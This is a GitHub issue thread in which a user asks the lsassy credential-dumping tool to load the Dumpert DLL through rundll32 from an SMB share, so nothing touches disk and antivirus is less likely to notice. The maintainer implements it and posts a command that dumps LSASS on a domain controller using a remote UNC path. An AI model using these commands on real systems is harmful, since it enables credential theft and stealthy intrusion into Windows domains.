[Feature] Optionally use UNC path with dumpertdll module to run dumpert DLL from SMB share

[davidmckennirey]

Hello! First I would like to say congratulations on the 3.0.0 release, the new improvements look awesome! I had an idea while reading some of the new dumping methods, specifically dumpertdll.

rundll32 can run DLLs from SMB shares, they don't have to be on the disk. My idea was to run an SMB share (like with Samba or impacket-smbshare, not lsassy) and then place the dumpert DLL file in that share. You could then provide the UNC path to the dumpert DLL in the "dumpertdll_path" option, and lsassy would tell rundll32 to call the dumpert DLL from the SMB share, instead of having to upload it.

I've had lots of luck with this method when trying to spawn sliver agents using a DLL loaded from an SMB share, and it would also prevent the OPSEC hit of having to upload the file to disk. Finally, if something goes wrong during the dump (like AV gets wind of what your doing) there is no risk of the dumpert DLL persisting after aborted execution because it couldn't be deleted.

[Hackndo]

That sounds very interesting. I'll sure have a look into it.

[Hackndo]

Should be implemented in commit 82c519a (branch v3.0.1)
If you have time to test it, that would be great. Be careful with your SMB server. Usually, recent configuration won't let your windows machines to access a share anonymously

For my tests, I hosted the DLL on a Windows machine with a share accessible to Authenticated Users, and it worked. :)

lsassy -u Administrator -p "p4ssw0rd" -d hackn.lab dc01.hackn.lab -m dumpertdll -O dumpertdll_path='\\10.10.10.1\Tools\dumpert.dll'

[Hackndo]

I'll close the issue, feel free to reopen it if this don't fit your needs

[davidmckennirey]

Sorry about the delay, I was planning on testing it this evening. I'll get back to you, and thanks for the quick turnaround!